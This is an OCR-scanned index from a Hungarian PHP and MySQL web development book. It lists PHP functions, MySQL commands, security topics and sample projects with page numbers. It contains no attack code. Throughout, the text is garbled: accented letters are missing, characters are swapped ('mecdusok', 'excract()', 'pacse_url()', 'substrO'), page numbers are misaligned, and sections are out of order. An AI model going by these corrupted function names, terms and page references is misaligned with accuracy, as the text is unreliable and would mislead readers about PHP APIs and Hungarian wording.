rklds 108 megakadlyozsa 115 megvalstsa 113 sszeads ( +) mveleti jel 23 sszehasonlts karakterlncok 80 hossznak megllaptsa 81 scrcasecmp() fggvny 80 strcmp() fggvny 80 stmatcmp() fggvny 80 sszehasonlt mveleti jelek 25 egyenl mveleti jel 25 sszehasonlt mveleti jelek WHERE mellkgak 168 sszetett rtkad mveleci jelek 24 oszlopok 157 rtkek 142 atomi oszloprtkek 145 kulcsok 142 elsdleges kulcsok 142 idegen kulcsok 14 3 osztlyok 117, 118 absztrakt (elvont) 126 talakts karakterlncokk 129 attribtumok 110 csomapont osztly 518 CSS 601 Exception 132 kiterjesztse 133 mecdusok 132 karakter (regulris kifejezsek) 84 kivtelek ltrehozsa 133 kdjnak megrsa 117 ltrehozsa l09 metdusok meghvsa 112 rklds 108 pldnyok ltrehozsa 110 tervezse 117 tpusjelzs 125 tbbalaksg 108 osztlyon belli kanscansok 124 osztlypldnyok ltrehozsa 110 oszts mveleti jel 23 tbbszrs rklds 116

mysql_dump 206 REVOKE 154 SHOW 159 traceroute (UNIX) 233 webszerver fggvnyek 304 parancssor 365 parancssori utasts-vgrehajt 255 pacse_url() fggvny 312 parseXML() metdus 586 PATH belltsok MySQL teleptsek 628 PCRE kicerjeszts 5 pdf_add_outline() fggvny 555 pdf_close() fggvny 556 pdf_csere() fggvny 551 pdHib.php fjl oklevelek projekt 544 pdf.php fjl (oklevelek projekt) 544 pdf_show_xy() fggvny 561 pdf_stringwidth() fggvny 561 PEAR (PHP Extension and Application Repository) teleptse 631 PECL (PHP Extension osztly knyvtr) 331 penztar.php fjl (onlne kosr alkalmazs) perjel 422 209

require() utasts 91 rvid stlus 14 SCRIPT stlus 14 Classes Reposicory weboldal 634 Club weboldala 634 date() fggvny 16 dtum s id 321 checkdate() fggvny 324 date() fggvny 321 fioor() fggvny 327 miktoszekundumok 329 napcrfggvnyek 329 PHP weboldal 329 szmolsok 327 Developer's Network Unilied Forums weboldala 634 Developer weboldala 634 fejlesztkrnyezetek 375 forrskd sznkiemelse szintaktika 364 fggvnyek eval() fggvny 361 fggvnynevek a kdban 372 get_current_user() fggvny 363 get_extension_funcs() 363 gedascrnod() fggvny 363 get_loaded_extensions() fggvny 363 highlighc_file() 364 ini__gec() fggvny 364 ini_sec() fggvny 364 mysqli_connecc() fggvny 382 mysqli_errno() fggvny 382 mysqli_error() fggvny 382 mysqli_query() fggvny 382 serialize() fggvny 362 show _source() fggvnyek 364 unserialize() fggvny 362 vltozk 30 fggvnyek meghvsa 16 futtatsa CGI rtelmezknt 621 modulknt 621 halad 00 funkcik 124 hlzati keresfggvnyek 310 hlzati keresfggvnyek explode() 312 gethostbyaddr() 312 gethostbyname() 311 getmxrr() 311 parse_url() 312 Homepage weboldala 634 jpeg-6b letltse 331 karakterlncok rtkelse 361 kpek automatikus ellltsa 336 azonosrk crlse 335 formturnak 332 GIF (Graphics Inteechange Format) 332 JPEG (Joint Photographic Expercs Group) 332 kimenet ksztse 335 635

(\)

perszanalizls formturnak PDF 542 PostScript 541 RTF 541 kvetelmnyek szottver 542 vizsgztatrendszer 542 oklevelek projekt 544 ertekeles.php fjl 546 fjlok 544 index.hcml file 545 PDF 550 RTF 548 tovbbfejlesztsi lehetsgek 562 PGP (Pretty Good Privacy) 283 phar kiterjeszts 5 Philip and Alex's Guide to Web Publishing weboldal PHP adacbzis-illesztsek 190 llandk (konscansok) 21 alapszint hitelests (HTTP) 271 Application Tools weboldala 634 Base Library weboldala 634 begyazsa HTML-be 13 cmkk (tag) 14 fehrkz karakterek 15 megjegyzsek hasznlata 15 utastsok 15 Center weboldala 634 cmkk (tag) 14 ASP stlus 15

p
patarnterek 16, 17 Apache, MaxClients 185 excract() fggvny 70 fggvnyparamterek 99 cm szerinti paramtertads 102 rtk szerinti paramtertads 102 fggvnyek meghvsa 96 max_connections paramter 185 rajzolfggvnyek 334 startup 628 parancsok GRANT 151 LOCK TABLES 206 mysql 150

Phorum webes frum 538

Trgymutat

651

ltrehozsa 333 PNG (Portable Network Graphics) 332 rajzvszon ltrehozsa 333 szveg 334 tmogatsa 331 WBMP (Wireless Bitmap) 332 Kitchen weboldala 634 kdok 379 hibk 387 hibakeress vltozkban 385 MySQL-jelszavak 283 programozsi hibk 379 tulajdonos azonostsa 363 utols mdosts idpontja 363 vgrehajts lelltsa 361 konfigurlsa 624 knyvtrak 622 Magazine weboldala 633 mveleti jelek 22 aritmetikai mveleti jelek 23 bitmvdeti jelek 26 csoporrosrhatsg 29 egyoperandus mveleti jelek 23 elsbbsgi sorrend 29 rtkad mveleti jelek 20 hromoperandus mveleti jel 27 hibakezel mveleti jel 27 karakterlncokon alkalmazhat mveleti jelek 23 logikai mveleti jelek 26 new mveleti jel 27 sszehasonlt mveleti jelek 25 tpusmveleti jel 28 tmbmveleti jel 28 vgsszeg kiszntsa az rlapon 28 vgrehajt 27 vessz mveleti jel 27 nyelvi szerkezetek die() 361 exit 361 optimalzlsa 376 parancssor 365 PHP 5.3 a Zend-motor fejlesztsei 5 crypt() mkdse-ban 5 date_add() fggvny 328 date_sub() fggvny 328 dtum-/idfggvnyek-ban 5 fileinfo kiterjeszts 5 hash() mkdse-ban 5 hibajavtsok 5 hibajelents 5 id-/drumfggvnyek -ban 5 ind kiterjeszts 5 md5() mkdse-ban 5 MySQLnd driverek 5 nvterek 5 PCRE kiterjeszts 5 phar kiterjeszts 5 php.ini adminisztrlsa-ban 5 Reflection kiterjeszts 5

SPL kiterjeszts 5 sqlite3 kiterjeszts 5 j funkcii 5 Windows-tmogats 5, 628 Postnuke weboldala 634 Resource Index weboldala 634 Resource weboldala 633 SOAP knyvtrak (Amazon) 568 szerializls 362 teleptse ll, 624 binris f.jlok teleptse 621 forrs teleptse 624, 625 Windows 630 utastsok 15 vltozk azonosrk 20 rrkads 20 felhasznl ltal deklarlt 20 fggvnynevek a kdban 372 hatkr 22 szupergloblis 22 rpusai 20 rlapvltozk elrse 17 vezrlsi szerkezetek 31, 38 ciklusok 35 declare 38 feltteles utastsok 31 kiugrs-bl 37 webes forrsok 633 weboldal 370, 622 XML stlus 14 phplarchitect weboldal 633 phpautodoc weboldal 375 PHP begyazsa HTML-be 13 fehrkz karakterek 15 megjegyzsek 15 PHP cmkk (tag) 14 utastsok 15 PHPBookmark alkalmazs fjlok 393 ltrehozsa 391 fggvnyknyvtrak 393 PHPBuilder.com weboldal PHPCommunity weboldal phpdoc weboldal 375 PHP Extension and Application Repository (PEAR) teleptse 631 weboldala 633 PHPindex.com weboldal php.ini f.jl adminisztrlsa PHP 5.3-ban 5 auto_append_file 95 auto_prepend_file 95 direktvk szerkesztse 364 PHPMyAdmin.Net weboldal 544 PHPOklevel.rtf f.jl (oklevelek projekt) 544 PHPWizard.net weboldal 633 633 PHPOklevel.pdf fjl (oklevelek projekt) 634 phpinfo() fggvny 544, 306 633 633

PNG (Porrable Network Graphics) 332 knyvtr weboldala 622 pontosvessz (;) MySQL 150, 186 POP (Post Office Protocol) 308 posix_getgrgid() fggvny 303 posix_getpwuid() fggvny 302, 303 postafiok_megnyitasa() fggvny 468 Post Office Protocol (POP) 308 PostScript 541 bettpusok letltse 332 Pretty Good Privacy (PGP) 283 print() fggvny 75 printf() fggvny 76 private hozzfrs-mdost 112 privt kulcsok Gnu Privacy Guard (GPG) 284 titkosts 239 Product osztly 586 Product.php fjl (Tahuayo alkalmazs) 571 progex.php fjl 305 programhibk 255 a PHP 5.3 hibajavtsai 5 regresszls 255 programok. Lsd mg alkalmazsok futtats parancssorbl 365 telept (Apache) 629 programozsi hibk 379, 380 futsidej hibk 380 beviteli adatok ellenrzse 384 f.jlok olvassa/rsa 382 hlzati kapcsolatok 383 kapcsolds adatbzishoz 382 nem ltez fggvnyek 381 logikai hibk 384 szintaktikai 379 protokollok 307 alkalmazsrtegbeli 280 File Transfer Protocol (FTP) 313 fjlfeltlts 318 f.jlok biztonsgi mentse 313 fjlok tkrzse 313 ftp_get() fggvny 318 ftp_mdtm() fggvny 316 ftp_nlist() fggvny 318 ftp_size() fggvny 318 idtllpsek megelzse 318 nvtelen bejelentkezs 315 set_time_limit() fggvny 318 FTP (File Transfer Protocol) 42 HTTP (Hyperrext Transfer Protocol) 280 fjlok megnyitsa 42 kzfogs (handshaking) 280 Secure Sockets Layer (SSL) 280 IMAP (Internet Message Access Protocol) 308 IP (Internet Protocol) 280 NNTP (Network News Transfer Protocol) 308 POP (Post Office Protocol) 308 RFC (Requests for Comments) 307

652

Trgymurat

SMTP (Simple Maii Transfer Protocol) 308,451 TCP (Transmission Control Protocol) 280 vermek 280 prototpusok fggvnyek 96 kd 375 public hozzfrs-mdost 112 putenv() fggvny 306 PX-PHP Code Exchange weboldal 633

rename() fggvny 304 rendeles_beszurasa() fggvny 440 rendelsi rlapok feldolgozsa 13 ltrehozsa 12 rendezs karakterlncok strcasecmp() fggvny 80 strcmp() fggvny 80 strnatcmp() fggvny 80 rendszerek biztonsgos tranzakcik 279 kapacitsbeli korltok (zleti weboldalak) 229 opercis 198 REPLICATION CLIENT jogosultsg 153 REPLICATION SLAVE jogosultsg 153 replikci adatbzisok 206 slave szerverek 206 Requests for Commems (RFC) 307 require() utasts 90 auto_append_file (php.ini fjl) 95 auto_prepend_file (php.ini f:ijl) 95 fjlnvkiterjesztsek 91 PHP cmkk (tag) 91 weboldalsablonok 91 REST /XML (Amazon) 585,591 rszsztringek cserje 83,88 elrse 80 keresse 81 keress s csere 83 strchr() fggvny 82 stristr() fggvny 82 strpos() fggvny 82 strrchr() fggvny 82 strrpos() fggvny 82,83 strstr() fggvny 82 szmszer pozci 82 rerum kulcssz 103 reverse spam 234 REVOKE parancs 154 rewinddir() fggvny 300 RFC (Requests for Comments) 307 RFC Editor weboldal 319,320 RGB (vrs,zld s kk) 334 Rich Text formtum (RTF) 541 rmdir() fggvny 302 r+ megnyitsi md 41 rosszindulat kd befecskendezse 247 rvid stlus (PHP cmkk) 14 rvid stlus rlapvltoz 17 rtf.php fjlok 544 RTF (Rich Text Format) 541 sablonok ltrehozsa 542 rtrim() fggvny 75

sajat_hibakezelo() fggvny 389 SCRIPT stlus (PHP cmkk) 14 SearchDatabase.com weboldal (S-HTTP) 279 segdalkalmazsok myisamchk 204 SELECT jogosultsgok 153 SELECT mellkgak 174 SELECT utastsok 167 smk Book-O-Rama alkalmazs 149 serialize() fggvny 362 session_set_cookie_params() fggvny 350 session_unregister() fggvny 352 set_error_handler() fggvny 389 set_time_limit() fggvny 318 SET tipus 163 settype() fggvny 30 SGML (Standard Generalized Markup Language) 564 sha1() fggvny 269 shell szkript stlus megjegyzsek 15 showCart() fggvny 597 SHOW COLUMNS utasts 200 SHOW DATABASES utasts 199 ShowSmallCart() fggvny 576 show_source() fggvny 364 SHOW TABLES utasts 200 SHOW utasts 199 S-HTTP (Secure Hypertext Transfer Protocol) 279 Simple Maii Transfer Protocol (SMTP) 308,451 skalris vltozk 55 Slasbdot weboldal 265,517 slave szerverek adatbzis replikci 206 replikci 207 SMTP (Simple Maii Transfer Protocol) 308,451 SOAP (Simple Object Access Protocol) 564 Amazon 563 knyvtrak 567 PHP SOAP knyvtrak (Amazon) 568 sorok rtkek 142 visszaadsa 175 SourceForge weboldal 375, 634 spam 234 SPL kiterjeszts 5 sprintf() fggvny 76 sqlite3 kiterjeszts 5 SQL (Structured Query Language) 165 adatbzisok 167 meghatrozsa 165 Book-O-Rama adatbzis ltrehozsa 165 tblkat feltlt kd 166 Course weboldala 634 DDL (Data Definition Language) 165 634 Secure Hypertext Transfer Protocol

R
RAl D (Redundant Array of lnexpensive Disks) 242 rajzols fggvnyek 334 kpek,kdok 333 szveg 334 rajzvszon 338 kpek ltrehozsa 333 range() fggvny 56 RDBMS (relcis adatbzis-kezel rendszerek) 165 Redundant Array of lnexpensive Disks (RAID) 242 redunds adatok elkerlse ( webes adatbzisok) 144 Reflection API 129 Relleeeion kiterjeszts 5 regisztracios_urlap_megjelenitese() fggvny 397 regisztracios_urlap.php fjl (PHPBookmark alkalmazs) 393 regisztracio_uj.php fjl (PHPBookmark alkalmazs) 393 regisztral() fggvny 400 regresszls 255 regulris kifejezsek 83 karakterek kszletek 84 osztlyok 84 Perl 83 rekordok tblk 142 rekurzv fggvnyek 104 relcis adatbzisok 141,143 elnyei 141 kapcsolatok egy a sokhoz pus kapcsolatok 143 egy az egyhez pus kapcsolatok 143 sok a sokhoz pus kapcsolatok 143 kulcsok 142 elsdleges kulcsok 142 idegen kulcsok 143 smk 143 tblk 141 rtkek 142 oszlopok 142 sorok 142 relatv elrsi tvonalak 41

S,Sz
sablonok weboldalak 91

Trgymutat

653

DML (Data Manipulaeion Language) 165 karakterlncok biztonsga 252 RDBMS (relcis adatbzis-kezel rendszerek) 165 webes forrsok 634 SSL (Secure Sockets Layer) 233,279, 621 adatok kldse 281 kzfogs (handshaking) 280 protokollvermek 280 tesztelse 627 tmrts 281 zleti weboldalak 225 starrup paramterek 628 statikus ktsek 125 statikus metdusok ltrehozsa 124 stluslapok CSS 601 stratgik zleti weboldalak 229 strcasecmp() fggvny 80 strchr() fggvny 82 strcmp() fggvny 80 srripslashes() fggvny 78,184, 199, 282 strip_tags() fggvny 282 stristr() fggvny 82 strlen() fggvny 81 srrnatcmp() fggvny 80 Srronghold weboldal 241 strpos() fggvny 82 strrchr() fggvny 82 str_replace() fggvny 83,550 strrpos() fggvny 83 srrstr() fggvny 82, 412 strtok() fggvny 79 strtolower() fggvny 77 strtoupper() fggvny 77 struktrk knyvtr 373 substrO fggvny 80 Summary weboldal 223 switch utastsok 33 system() fggvny 305 szmszer pozci keresse karakterlncokban 82 szavazas_beallitasa.sql fjl 342 szemlyre szabott tartalom megjelentse alkotelemek 391 felhasznli nevek 392 felhasznJk 391 felhasznli nevek 392 jelszavak 392 knyvjelzk 392 jelszavak 392 knyvjelzk ajnlsa 392 szerializls 362 szerverek biztonsgos trolsa 282 biztonsgos webszerverek 240 hitelests 238 szervezs

kd 253 sznek gombok 338 RGB (vrs, zld s kk) 334 szveg 336 sznkiemels forrskd 364 szintakcika 379 DESCRIBE utasts 201 forrskd sznkiemelse 364 hibk 379 szaftver fejleszts 369 frisstse 256 hibk 228, 235 fejlesztk hibs felttelezsei 235 nem megfelel tesztels 235 pontatlan specifikcik 235 perszanalizlt dokumentumok 542 RTF 542 szolgltatsmegtagadssal jr tmads (DoS) 234,262 szolgltatsok rtkestse 226 hozzadsa 308 rendelsek fogadsa 223 tbbletrtk hozzadsa 226 szorzs mveleti jel 23 szveg egyszer szveg (titkosts) 238 lsimtsa 334 gombok sznek/bettpusok 336 illesztse gombokra 339 kpek ltrehozsa 336 megnyitsa fopen() fggvny 41 rajzolsa vagy rsa kpekre 334 titkostott szveg (titkosts) 238 szveges fjlok 39 beolvassa 40 rsa 40 megnyitsa 40 megnyitsi mdok 40 szveg illesztse gombokra 339 szl csompontok (webes frum fasrruktrja) 518 sznetmentes tpegysg (UPS) 243 szupergloblis vltozk 22 szrs beviteli adatok (webes adatbzisok) 184 felhasznli bevitel 249

ARCHIVE 210 Book-O-Rama adatbzis 166 columns_priv 194

csv 210
db 194 grant 194 hatkrmezk 195 host 194 ideiglenes 177 InnoDB 210 kls kulcsok 211 tranzakcik 210 kulcsok 142 elsdleges kulcsok 142 megvltoztatsa 177 MEMORY 209 MERGE 209 MyiSAM 209 oszlopok 142 DESCRIBE utasts 201 smk 143 sorok 142 rtkek 142 tables_ptiv 194 trlse 179 user 194 tagols kd 32,373 tag.php fjl (PHPBookmark alkalmazs) 393 tanst szervezetek (CA) 240 tanstvny-alrsi krelem (CSR) 241 trhelyszolgltats 258 trols adatok. Lsd mg fjlok 39 biztonsgos 282 jelszavak 198,267 karakterlncok 78 addslashes() fggvny 78 stripslashes() fggvny 78 redundns adatok (webes adatbzisok) 144 trolmotorok 209 ARCHIVE tblk 210

csv tblk 210


InnoDB tblk 210 kls kulcsok 211 tranzakcik 210 MEMORY tblk 209 MERGE tblk 209 MyiSAM 209 trol (verzikvers) 374 trolt eljrsok 212 deklarlsa 212 kurzorok 214 trolt fggvnyek deklarlsa 213 vezrlsi szerkezetek 214 trolt fggvnyek deklarlsa 213 tartalom (kd) 376 tvoli FTP kapcsolatok 315 TCP/IP ( Transmission Control Protocol/ Internet Protocol)

T
t11ib letltse 332 tblk adatbzisok biztonsgi ments 206 optimalizlsa 205

654

Trgymutat

biztonsg 233 TCP (Transmission Control Protocol) 280 telepts Apache Windows alatt 629 binris fjlok 622 forrs teleptse 622 GPG (Gnu Privacy Guard) 283 MIME levelezcsomag 631 mod_auch_mysql modul 275 MySQL 628 PEAR (PHP Extension and Application Repository) 631 PHP ll, 624, 625 telept (Apache) 629 terenkek (zleti weboldalak) digitlis termkek rtkestse 226 rendelsek fogadsa 223 tbbletrtk hozzadsa 226 cerenkek vagy szolgltatsok megrendelse (zleti weboldalak) 223 bizalom 225 felhasznli felletek 225 kompatibilits 226 megvlaszoladan krdsek 224 termszetes rendezs weboldal 81 tesztels GPG (Gnu Privacy Guard) 285 karakterlncok hossza 81 kd 377 mod_auth_mysql modul 275 PHP teleptsek 631 PHP tmogats 626 regresszls 255 SSL 627 cecelek_szamolasa() fggvny 436 TEXT tpus 162 Thawce weboldal 236, 240 throw mellkg 133 TIFF knyvtr weboldala 622 tpus jelzs 125 konverzis specifilcicik tpuskdjai 77 tpusmveleci jel 28 tpusknyszerts (vltozk) 21 titkosrs (kriptogrfia) 238 titkosts 238, 283 adatok 282 algoritmus 238 Data Encryption Standard (DES) 239 digitlis alrsok 239 digitlis tanstvnyok 240 egyszer szveg 238 GPG (Gnu Privacy Guard) 283 kulcsprok 284 telepts 283 tesztelse 285 hash fggvnyek 240 jelszavak 198, 269 nyilvnos kulcsok 239 PGP (Pretty Good Privacy) 283

privt kulcsok 239 titkosrs (kripcogrlia) 238 titkostott szveg 238 titkostott szveg (titkosts) 238 t megnyitsi md 41 tbbalaksg 108 tbbdimenzis tmbk 55 hromdimenzis tmbk 61 ktdimenzis tmbk 59 rendezse 63 felhasznl ltal meghatrozott rendezsek 63 forditott rendezs 64 tbb programoz 374 tbbsoros megjegyzsek 16 tbbszri felhasznls, kd elnyei 89 egysgessg 90 kltsg 89 megbzhatsg 89 include() utasts 90, 95 require() utasts 90, 95 auro_prepend_file (php.ini fjl) 95 fjlnvkitetjeszcsek 91 PHP cmkk (tag) 91 weboldalsablonok 91 tbbszrs definils fggvnyek 99 mecdusok 126 tbbszrs rklds 116 tmbk 55 asszociatv 57 befoglal keretek tartalma 340 elemek 56 indexek 56 kzepes stlus rlapvltoz 18 mveleci jelek 23, 59 numetikusan indexele tmbk bejrsa ciklusokkal 57 ltrehozsa 56 eartalom elrse 56 szupergloblis 18 bejrsa ciklusokkal 58 each() fggvny 58 ltrehozsa 57 list() fggvny 58 tartalom elrse 57 tbbdimenzis 55 tmrts SSL (Secure Sockets Layer) 281 topbar.php fjl 571 trls adatbzisok 179 couch() fggvny 304 tovbbfejlesztsi lehetsgek perszanalizlt dokumentumok 562 webes frum 538 craceroute parancs (UNIX) 233 tranzakcik 210 ACID-kompatibilis 210 aucocommit md 210 biztonsgos cranzakcik 277

biztonsgos trols 282 felhasznli bevitel szrse 282 felhasznlk szmtgpei 278 Incemet 278 rendszerek 279 Secure Sockets Layer (SSL) 280 webes bngszk 278 InnoDB tblk 210 meghatrozsa 210 vglegestett 210 visszagrgetett 211 trim() fggvny 75, 184 T ripwire weboldal 234 TrueType bettpusok 336 try blokkok (kivtelkezels) 131 tkrzs fjlok FTP fggvnyek 313 bejelentkezsek 316 frissts idpontjnak ellenrzse 316 kapcsolatok boncsa 318 leeltsek 317 tvoli kapcsolatok 315 RAID (Redundanc tmb of Inexpensive Disks) 242 rulajdonos (kdok) azonostsa 363 rulajdonsgok fjlrulajdonsgok megvltoztatsa 304

tzfalak 242, 261

U,

ucfirsc() fggvny 77 ucwords() fggvny 77 uj_hozzaszolas.php fjl webes frum 519 uj_hozzaszolas_carolasa() fggvny 536 uj_hozzaszolas_tarolasa.php fjl (webes frum) 519 uj_konyvek.txt 209 ujKonyvjelzoHozzaadasa()fggvny 611 j szofrververzik belltsa 257 j szofrververzik iizembe helyezse 257 umask() fggvny 302 uni mveleti jel 59 Unix binris fjlok teleptse 622 date() fggvny 322 forrs teleptse 624, 625 httpd.conf fjl 626 PHP tesztelse 626 SSL tesztelse 627 traceroute parancs 233 UNIX_TIMESTAMP() fggvny 326 unlink() fggvny 304 unserialize() fggvny 362 UN SIGNED kulcssz 157 UPDATE jogosultsg 153 UPS (sznetmentes tpegysg) 243 UPS weboldal 226

Trgymutat

655

url_ajanlo() fggvny 417 rlapok Bob autalkatrszek alkalmazs vgsszeg kiszmtsa mveleti jelekkel 28 Bob autalkatrszek alkalmazs 12, 13 feldolgozsa 13 ltrehozsa 12 vltozk elrse 17 rlapok HTML 182,293 urlencode() fggvny 270, 310 url_fuggvenyek.php fjl { PHPBookmark alkalmazs) 393 USAGE jogosultsg 154 user tblk 194 utastsok ALTER TABLE 177 break utasts 38 continue utasts 38 DELETE 179 DESCRIBE 201 describe user; 194 DROP TABLE 179 elfordtott 189 else utastsok 32 else if utastsok 33 EXPLAIN GRANT 200, 201 if utastsok 32 include() utasts 90 auto_append_file {php.ini fjl) 95 auto_prepend_file {php.ini fjl) 95 INSERT 165 kis- s nagybet klnbsge MySQL-ben

audcls 241 biztonsgi hzirendek ltrehozsa 236 biztonsgos webszerverek 240 dgitlis alrsok 239 dgitlis tanstvnyok 240 fenyegetsek 232

hatkr 22 szupergloblis 22 tpusai 20 adattpusok 20 vltoz vltozk 21 tpuserssg 20 tpusknyszerts 21 rlapvltozk 17 vltozk fggvnyvltozk 99 globlis vltozk 101 helyi vltozk l O l hibakeress 385 krnyezeti fggvnyek 306 munkamenecek 349 crlse 351 skalris vltozk 55 tmbk 55 asszociatv tmbk 57 elemek 56 indexek 56 mveleti jelek 59 numerikusan indexelt tmbk tartalmnak elrse 56 tbbdmenzis tmbk 59 trlse 351 valtozok_kiiratasa.php fjl 385 vsrls nyomon kvetse {online kosr alkalmazs) 419 vasarlas.php fjl {online kosr alkalmazs)

fizikai biztonsg 242


hash fggvny 240 hitelests 237 jelszavak 237 naplzs 241 tanst szervezetek {CA) 240 tanstvny-alrsi krelem {CSR) 241 titkosts 238 hitelests 232 kockzatai 227 crackerek 227 hardverhiba 228 jogi szablyozs s adrendszer 229 kvnt zleti eredmny elmaradsa 228 rendszer-kapacitsbeli korltok 229 szoftverhibk 228 szolgltati hibk 228 verseny 228 kltsgcskkents 227 kompatibilicsa 226 online katalgnsok 221 hibi 222 jellemz hinyossgaik 223 SSL {Secure Sockets Layer) 225 stratgik kivlasztsa 229 szolglcatsok s dgitlis termkek rtkestse 226 termkek vagy szolglcatsok megrendelse 223 tpusai 221 tbbletrtk hozzadsa termkekhez vagy szolgltatsokhoz 226 tzfalak 242 visszatrtsi szablyzat 225 zleti weboldalak kockzatai crackerek 227 hardverhiba 228 jogi szablyozs s adrendszer 229 kvnt zleti eredmny elmaradsa 228 rendszer-kapacitsbeli korltok 229 szoftverhibk 228 szolglcaci hibk 228 verseny 228

422
vdkarakterek 78 vglegestett tranzakcik 210 vgrehajts parancssor 365 vgrehajts lelltsa {kdok) 361 vgrehajt mveleti jel 27,255 VeriSign weboldal 236 VeriSignweboldal 240 verzikvers {code) CV S { Concurrent Versions System) 374 tbb programoz 374 verzikvers {kd) 374 CVS {Concurrent Versions System) 374 trol 374 tbb programoz 374 vessz {mveleti jel) 27 vezrlsi szerkezetek 31,38 ciklusok 35 declare 38 feltteles utastsok 31 Iciugrs -bl 37 trolt eljrsok 214 visszaads rtkek 103 visszagrgetett rranzakcik 211 visszakvets {fggvnyek) 133 visszatrs fggvnyekbl 103 visszatrsi rtkek 63

150
LOAD_DATA_INFILE 209 PHP utastsok 15 switch utastsok 33 sszekapcsols tpusai 203 oszloprtkek 204 require() utasts 90 auto_append_file {php.ini fjl) 95 auto_prepend_file {php.ini fjl) 95 fjlnvkiterjesztsek 91 PHP cmkk {tag) 91 weboldalsablonok 91 rerum kulcssz 103 SELECT 167 SHOW 199 SHOW COLUMNS 200 SHOWDATABASES 199 SHOWTABLES 200 utlagos cskkents mveleti jel 24 utlagos nvels mveleti jel 24 uzenet_kuldese() fggvny 474 uzenet_megjelenitese() fggvny 470 uzenet_torlese() fggvny 473 uzenec_visszakeresese() fggvny 470 zleti weboldalak 219, 221 adatvdelmi nyilatkozat 225 a trole informci fontossga 231 biztonsg 231 adatok biztonsgi mencse 242

v
VAGY mveleti jel 26 vals vilgbeli objektumok modellezse {webes adatbzisok) 144 vltozk 19,21,100 azonosrk 20 rtkek hozzrendelse 20 felhasznl ltal deklarlt vltozk 20 fggvnyek 30 llapotnak ellenrzse 31 tpusbelltsi-ellenrzs 30

656

Trgymutat

visszatrtsi szablyzat 225 vrs, zld s kk (RGB) 334

fasttuktra 518 megolds alkotelemei 517 megolds ttekintse 518 WebMonkey.com weboldal weboldalak Adobe Acrobat 543 Adobe,FDF 551 AMANDA (Advanced Maryland Autamated Necwork Disk Archiver) 242 Analog 223 ANSI-szabvny 179 Apache 622 Apache Sofrware 634 Apache Today 635 Apache Week 634 Base Libraty 634 BUGTRAQ archvumok 297 CGI-specifikci 306 Codewalkers 634 CV S (Concurrent Versions System) 374, 378 Devshed 348, 633 EPA 243 Evil Walrus 634 Extreme Programming 378 FDF 551 Fedex 226 FishCartSQL 450 FPDF fggvnyknyvtr 543 GD dokumentci 348 GNU Privacy Guard 283 hitelests 270 hitelests dokumentcija 276 HotScripts.com 634 IMAP c kliens 622 JPEG (Joint Phocographic Experts Group) 332 JPEG knyvtr 622 MySQL 149,208,622 dtum- s idfggvnyek 329 online kziknyv 164 Netscape SSL 3.0 specifikci 289 stik (cookie-k) specifikcija 350 New York Times 265 OpenSSL 622 PEAR (PHP Extension and Application Repository) 633 PECL 633 Philip and Alex's Guide to Web Publishing 635 PHP 370,622 Application Tools 634 Center 634 Classes Repository 634 Club 634 Developer 634 Developer's Network Unilied Forums 634 Homepage 634 Kitchen 634 634

Magazine 633 naptrfggvnyek 329 Resource 633 Resource Index 634 phplarchicect 633 phpauradoc 375 PHPBuilder.com 633 PHPCommunity 633 phpdoc 375 PHPindex.com 634 PHPMyAdmin.Net 633 PHPWizard.net 633 PNG knyvtr 622 PNG (Porcable Necwork Graphics) 332 Poscnuke 634 PX-PHP Code Exchange 633 RFC Edtor 319,320 sablonok 91 SearchDatabase.com 634 Slashdot 265, 517 SourceForge 375,634 SQL Course 634 Srronghold 241 Summary 223 szolglcatsok hozzadsa 308 termszetes rendezs 81 Thawte 236,240 TIFF knyvtr 622 Tripwire 234 UPS 226 VeriSign 236,240 W3C 564 Webalizet 223 WeberDev.com 633 WebMonkey.com 634 Zend 348 Zend.Com 633 zlib knyvtr 622 Web Services. Lsd mg SOAP felletek (Amazon) 567 webszerverek Apache. Lsd Apache webszerver hitelestse 238 biztonsgos trols 282 biztonsgos webszerverek 240 fjlfelelts 295 Microsoft IlS konfigurlsa 258 parancsok 304 webes adatbzis architektrja 147 W HERE mellkg 168 sszehasonlic mveleti jelek 168 while ciklusok 36 W indows Apache 629 MySQL 628 PHP 630 Apache-konfigurcik 631 tesztels 631 tmogats 5,628 W ireless Bitmap (WBMP) 332 w megnyitsi md 41 w+ megnyitsi md 41

w
W3C weboldal 564 Warm Maii alkalmazs (e-mail kliens) fjlok 453 fellet 452 !MAP fggvnyknyvtr 451 megolds ttekintse 452 megoldsok komponensek 451 WBMP (Wireless Bitmap) 332 Webalizet weboldal 223 WeberDev.com weboldal webes adatbzisok 144 architektrja 181 lekrdezse 184 adatbzisok kivlasztsa 185 adatok hozzadsa 187 beviteli adatok 184 elfordtott utastsok 189 eredmnyek visszakeresse 186 kapcsolat belltsa 185 kapcsolat bontsa adatbzisokkal 187 mysqli_query() fggvny 185 tervezse 144 vals vilgbeli objektumok modellezse 144 webes alkalmazsok projehjei dokumentci 375 fejlesztkrnyezet 375 kezelhet kd rsa 371 darabokra bonts 373 elnevezsi szoksok 371 fiiggvnyknyvtrak 374 knyvtrstruktrk 373 megjegyzsek hasznlata 372 programozsi szablyok 371 tagolsa 373 kd tesztelse 377 kd tbbszri felhasznlsa 370 logika 376 megvalstsa 370 mkdsi logika 376 prototpusok 375 szaftverfejleszts 369 tervezse 370 verzikvers 374 webes bngszk biztonsgos tranzakcik 278 hitelests 237 webes fejleszts webes forrsok Apache 634 MySQL s SQL 634 PHP 633 webfejleszts 635 webes frum 517 csomaponc osztly 518 fjlok 519 635 633,634 633

Trgymutat

657

x
XHTML (Extensible Hypertext Markup Language) 601 x megnyitsi md 41 x+ megnyitsi md 41 XML (Extensible Markup L anguage) 563, 602 cmkk (zr s nyit) 565 DT D (Document Type Delinition) 565 rtelmezse (Amazon) 568

gykrelemek 566 meghatrozsa 564 nvterek 566 plda 564 SGML (Standard Generalized Markup Language) 564 stlusok 14 XML HT T PRrequest objektum 603 XSLT (XSL Transformations) 602 XSS (Cross Site Scripting) tmadsok 247

z
zr cmkk (XML) 565 Zen d weboldal 88 Zend motorok fejlesztsei PHP 5.3-ban 5 Optimizers 377 weboldala 633 zlib knyvtr weboldala 622

You might also like